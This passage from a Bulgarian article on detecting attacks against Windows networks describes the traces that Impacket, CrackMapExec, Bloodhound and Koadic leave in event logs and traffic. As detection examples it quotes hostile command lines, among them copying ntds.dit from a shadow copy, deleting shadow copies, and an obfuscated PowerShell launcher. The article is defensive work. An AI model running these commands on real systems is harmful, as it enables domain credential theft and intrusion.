"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

ΠšΠ°ΠΊΡ‚ΠΎ ΠΏΡ€ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ инструмСнти Π·Π° постСксплоатация, Ρ‚Π°ΠΊΠ° ΠΈ Impacket Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π° с ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π·Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. Π©Π΅ сС фокусирамС Π²ΡŠΡ€Ρ…Ρƒ smbexec, ΠΊΠΎΠΉΡ‚ΠΎ прСдоставя ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π΅Π½ ΠΊΠΎΠΌΠ°Π½Π΄Π΅Π½ интСрфСйс Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π°Ρ‚Π° машина. Π—Π° Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» ΡΡŠΡ‰ΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° автСнтикация Ρ‡Ρ€Π΅Π· SMB, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π° ΠΈΠ»ΠΈ нСйния Ρ…Π΅Ρˆ. На Ρ„ΠΈΠ³. 3 Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° Ρ‚Π°ΠΊΡŠΠ² инструмСнт, Π² Π΄Π°Π½Π½ΠΎΠΌ случай консола Π½Π° локалния администратор.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Π€ΠΈΠ³. 3. Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΊΠΎΠ½Π·ΠΎΠ»Π° smbexec

ΠŸΡŠΡ€Π²ΠΈΡΡ‚ Π΅Ρ‚Π°ΠΏ Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° smbexec слСд автСнтикация Π΅ отварянС Π½Π° SCM с ΠΊΠΎΠΌΠ°Π½Π΄Π° OpenSCManagerW (15). Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ Π΅ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΡ‚Π΅Π»Π½ΠΎ: Π² Π½Π΅Π³ΠΎ ΠΏΠΎΠ»Π΅Ρ‚ΠΎ MachineName ΠΈΠΌΠ° стойност DUMMY.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Π€ΠΈΠ³. 4. Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ Π·Π° отварянС Π½Π° Service Control Manager

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° сС създава услуга с ΠΊΠΎΠΌΠ°Π½Π΄Π° CreateServiceW (12). Π’ случая Π½Π° smbexec ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° наблюдавамС Π΅Π΄Π½Π° ΠΈ ΡΡŠΡ‰Π° Π»ΠΎΠ³ΠΈΠΊΠ° Π½Π° построяванС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° всСки ΠΏΡŠΡ‚. На Ρ„ΠΈΠ³. 5 Π·Π΅Π»Π΅Π½ΠΎΡ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π²Π° нСизмСняСмитС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°, ΠΆΡŠΠ»Ρ‚ΠΎΡ‚ΠΎ β€” ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅, ΠΊΠΎΠΈΡ‚ΠΎ атакуващият ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ. ЛСсно ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π·Π°Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° изпълняСмия Ρ„Π°ΠΉΠ», Π½Π΅Π³ΠΎΠ²Π°Ρ‚Π° дирСктория ΠΈ Ρ„Π°ΠΉΠ»Π° Π·Π° ΠΈΠ·Ρ…ΠΎΠ΄ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС промСнят, Π½ΠΎ останалото Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΏΠΎ-Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π΄Π° сС ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ, Π±Π΅Π· Π΄Π° сС Π½Π°Ρ€ΡƒΡˆΠ°Π²Π° Π»ΠΎΠ³ΠΈΠΊΠ°Ρ‚Π° Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° Impacket.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Π€ΠΈΠ³. 5. Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ Π·Π° създаванС Π½Π° услуга Ρ‡Ρ€Π΅Π· Service Control Manager

Smbexec оставя явни слСди ΠΈ Π² ΠΆΠΎΡ€Π½Π°Π»Π° Π½Π° ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π° Π½Π° Windows. Π’ ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° Windows Server 2016 Π·Π° ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° с ΠΊΠΎΠΌΠ°Π½Π΄Π° ipconfig Π±ΠΈΡ…ΠΌΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ слСдната ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° послСдоватСлност ΠΎΡ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ:

1. 4697 β€” инсталиранС Π½Π° услуга Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π΅Π½ΠΈ машина:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 β€” създаванС Π½Π° процСс cmd.exe с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠ° 1.
3. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ»Π° __output Π² дирСктория C$.
4. 4697 β€” инсталиранС Π½Π° услуга Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π΅Π½ΠΈ машина.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 β€” създаванС Π½Π° процСс cmd.exe с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠ° 4.
6. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ»Π° __output Π² дирСктория C$.

Impacket Π΅ основата Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° инструмСнти Π·Π° Π°Ρ‚Π°ΠΊΠΈ. Π’ΠΎΠΉ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° ΠΏΠΎΡ‡Ρ‚ΠΈ всички ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ Π² Windows инфраструктурата ΠΈ Π² ΡΡŠΡ‰ΠΎΡ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅ ΠΈΠΌΠ° свои Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΈ особСности. Π’ΡƒΠΊ са ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΈ winreg заявки, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° SCM API с Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π½Π° ΠΈΠΌΠ΅Π½Π° Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ SMB сподСлянС SYSTEM32.

CRACKMAPEXEC

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ CME Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ ΠΏΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½ΠΎ Π΄Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π° Ρ€ΡƒΡ‚ΠΈΠ½Π½ΠΈΡ‚Π΅ дСйствия, ΠΊΠΎΠΈΡ‚ΠΎ атакуващият трябва Π΄Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈ, Π·Π° Π΄Π° Π½Π°ΠΏΡ€Π΅Π΄Π½Π΅ Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°. Π’ΠΎΠΉ позволява Ρ€Π°Π±ΠΎΡ‚Π° Π² Ρ‚Π°Π½Π΄Π΅ΠΌ с извСстнитС Empire agent ΠΈ Meterpreter. Π—Π° Π΄Π° изпълнява ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅ дискрСтно, CME ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ обфускира. Използвайки Bloodhound (ΠΎΡ‚Π΄Π΅Π»Π΅Π½ инструмСнт Π·Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅), атакуващият ΠΌΠΎΠΆΠ΅ Π΄Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅Ρ‚ΠΎ Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½Π° сСсия Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ администратор.

Bloodhound

Bloodhound ΠΊΠ°Ρ‚ΠΎ самостоятСлСн инструмСнт позволява ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° Π½Π°ΠΏΡ€Π΅Π΄Π½Π°Π»ΠΎ Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°. Π’ΠΎΠΉ ΡΡŠΠ±ΠΈΡ€Π° Π΄Π°Π½Π½ΠΈ Π·Π° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ, машини, Π³Ρ€ΡƒΠΏΠΈ ΠΈ сСсии ΠΈ сС доставя ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° PowerShell скрипт ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΈΡ‡Π΅Π½ Ρ„Π°ΠΉΠ». Π—Π° ΡΡŠΠ±ΠΈΡ€Π°Π½Π΅ Π½Π° информация сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ LDAP ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° SMB. Π˜Π½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΈΡΡ‚ ΠΌΠΎΠ΄ΡƒΠ» CME позволява Π΄Π° сС Π·Π°Ρ€Π΅Π΄ΠΈ Bloodhound Π½Π° ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°, Π΄Π° сС стартира ΠΈ Π΄Π° сС ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΡΡŠΠ±Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ слСд ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ, Ρ‚Π°ΠΊΠ° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°ΠΉΠΊΠΈ дСйствията Π² систСмата ΠΈ ΠΏΡ€Π°Π²Π΅ΠΉΠΊΠΈ Π³ΠΈ ΠΏΠΎ-ΠΌΠ°Π»ΠΊΠΎ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΠΌΠΈ. Графичният интСрфСйс Π½Π° Bloodhound прСдставя ΡΡŠΠ±Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π³Ρ€Π°Ρ„ΠΎΠ²Π΅, ΠΊΠΎΠ΅Ρ‚ΠΎ позволява Π½Π°ΠΌΠΈΡ€Π°Π½Π΅ Π½Π° Π½Π°ΠΉ-краткия ΠΏΡŠΡ‚ ΠΎΡ‚ ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° Π½Π° атакуващия Π΄ΠΎ Π΄ΠΎΠΌΠ΅ΠΉΠ½ администратора.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 6. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Π½Π° Bloodhound

Π—Π° Π΄Π° стартира Π½Π° ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°, ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ създава Π·Π°Π΄Π°Ρ‡Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ATSVC ΠΈ SMB. ATSVC Π΅ интСрфСйс Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с ΠΏΠ»Π°Π½ΠΈΡ€Π°Ρ‡Π° Π½Π° Π·Π°Π΄Π°Ρ‡ΠΈ Π² Windows. CME ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° функцията NetrJobAdd (1) Π·Π° създаванС Π½Π° Π·Π°Π΄Π°Ρ‡ΠΈ ΠΏΠΎ ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° Ρ‚ΠΎΠ²Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ CME ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°, Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½Π° рис. 7: Ρ‚ΠΎΠ²Π° Π΅ ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° cmd.exe ΠΈ обфускиран ΠΊΠΎΠ΄ във Ρ„ΠΎΡ€ΠΌΠ° Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ Π² XML Ρ„ΠΎΡ€ΠΌΠ°Ρ‚.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 7. БъздаванС Π½Π° Π·Π°Π΄Π°Ρ‡Π° Ρ‡Ρ€Π΅Π· CME

Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ Π·Π°Π΄Π°Ρ‡Π°Ρ‚Π° бъдС ΠΏΠΎΠ΄Π°Π΄Π΅Π½Π° Π·Π° изпълнСниС, ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π° стартира самия Bloodhound ΠΈ Π² Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° Ρ‚ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС забСлязано. Π—Π° ΠΌΠΎΠ΄ΡƒΠ»Π° са Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΈ LDAP заявки Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° стандартни Π³Ρ€ΡƒΠΏΠΈ, списък Π½Π° всички машини ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π² Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° информация Π·Π° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈ потрСбитСлски сСсии Ρ‡Ρ€Π΅Π· заявка SRVSVC NetSessEnum.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 8. ΠŸΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° списък с Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈ сСсии Ρ‡Ρ€Π΅Π· SMB

ОсвСн Ρ‚ΠΎΠ²Π°, ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Bloodhound Π½Π° ТСртвСния ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€ с Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½ ΠΎΠ΄ΠΈΡ‚ Π΅ ΡΡŠΠΏΡ€ΠΎΠ²ΠΎΠ΄Π΅Π½ΠΎ ΠΎΡ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ с ID 4688 (създаванС Π½Π° процСс) ΠΈ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° процСса Β«C:WindowsSystem32cmd.exeΒ». Π’ Π½Π΅Π³ΠΎ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΡ‚Π΅Π»Π½ΠΎ са Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ Π½Π° командния Ρ€Π΅Π΄:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101, 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

ΠœΠΎΠ΄ΡƒΠ»ΡŠΡ‚ enum_avproducts Π΅ наистина интСрСсСн ΠΎΡ‚ Π³Π»Π΅Π΄Π½Π° Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π° функционалността ΠΈ рСализацията. WMI позволява Ρ‡Ρ€Π΅Π· Π΅Π·ΠΈΠΊΠ° Π½Π° запитвания WQL Π΄Π° сС ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚ Π΄Π°Π½Π½ΠΈ Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΎΠ±Π΅ΠΊΡ‚ΠΈ Π² Windows, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΏΠΎ ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» CME. Π’ΠΎΠΉ Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π° запитвания към класовСтС AntiSpywareProduct ΠΈ AntiМirusProduct относно Π·Π°Ρ‰ΠΈΡ‚Π½ΠΈΡ‚Π΅ срСдства, установСни Π½Π° ТСртвСния ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€. Π—Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ, ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ сС ΡΠ²ΡŠΡ€Π·Π²Π° с пространството ΠΎΡ‚ ΠΈΠΌΠ΅Π½Π° rootSecurityCenter2, слСд ΠΊΠΎΠ΅Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€Π° WQL-Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€. На рис. 9 Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Ρ‚Π°ΠΊΠΈΠ²Π° запитвания ΠΈ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ΠΈ. Π’ нашия ΠΏΡ€ΠΈΠΌΠ΅Ρ€ бСшС Π½Π°ΠΌΠ΅Ρ€Π΅Π½ Windows Defender.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 9. ΠœΡ€Π΅ΠΆΠΎΠ²Π° активност Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° enum_avproducts

ЧСсто ΠΎΠ΄ΠΈΡ‚ΡŠΡ‚ Π½Π° WMI (Trace WMI-Activity), Π² ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π° Π½Π° ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π½Π°ΠΌΠ΅Ρ€ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π° информация Π·Π° WQL-запитванията, ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π΅Π½. Но Π°ΠΊΠΎ Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, Π² случай Π½Π° изпълнСниС Π½Π° сцСнария enum_avproducts Ρ‰Π΅ сС Π·Π°ΠΏΠ°Π·ΠΈ ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ с ID 11. Π’ Π½Π΅Π³ΠΎ Ρ‰Π΅ бъдС ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° потрСбитСлското ΠΈΠΌΠ΅, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈΠ»ΠΎ Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ, ΠΈ ΠΈΠΌΠ΅Ρ‚ΠΎ Π² пространството ΠΎΡ‚ ΠΈΠΌΠ΅Π½Π° rootSecurityCenter2.

ВсСки ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈΡ‚Π΅ CME ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π° свои Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚ΠΈ, нСзависимо Π΄Π°Π»ΠΈ става Π΄ΡƒΠΌΠ° Π·Π° спСцифични WQL-запитвания ΠΈΠ»ΠΈ създаванС Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Ρ‚ΠΈΠΏ Π·Π°Π΄Π°Ρ‡Π° Π² Π³Ρ€Π°Ρ„ΠΈΠΊΠ° Π½Π° Π·Π°Π΄Π°Ρ‡ΠΈΡ‚Π΅ с обфускация ΠΈ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½Π° Π·Π° Bloodhound активност Π² LDAP ΠΈ SMB.

KOADIC

ΠžΡ‚Π»ΠΈΡ‡ΠΈΡ‚Π΅Π»Π½Π°Ρ‚Π° Ρ‡Π΅Ρ€Ρ‚Π° Π½Π° Koadic Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ΠΈ Π½Π° JavaScript ΠΈ VBScript Π² Windows. Π’ Ρ‚ΠΎΠ²Π° ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠΉ слСдва Ρ‚Ρ€Π΅Π½Π΄Π° living off the land - тоСст Π½e ΠΏΡ€ΠΈΡ‚Π΅ΠΆΠ°Π²Π° външни зависимости ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° стандартнитС срСдства Π½Π° Windows. Π’ΠΎΠ²Π° Π΅ инструмСнт Π·Π° пълСн Command & Control (CnC), Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ слСд инфСкция Π½Π° ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π° сС инсталира "ΠΈΠΌΠΏΠ»Π°Π½Ρ‚", ΠΊΠΎΠΉΡ‚ΠΎ позволява нСговия ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ». Вакъв ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€, Π² тСрминологията Π½Π° Koadic, сС Π½Π°Ρ€ΠΈΡ‡Π° "Π·ΠΎΠΌΠ±ΠΈ". ΠŸΡ€ΠΈ Π½Π΅Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎΡΡ‚ Π½Π° ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π·Π° Π½ΠΎΡ€ΠΌΠ°Π»Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° страната Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π° Koadic ΠΈΠΌΠ° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ 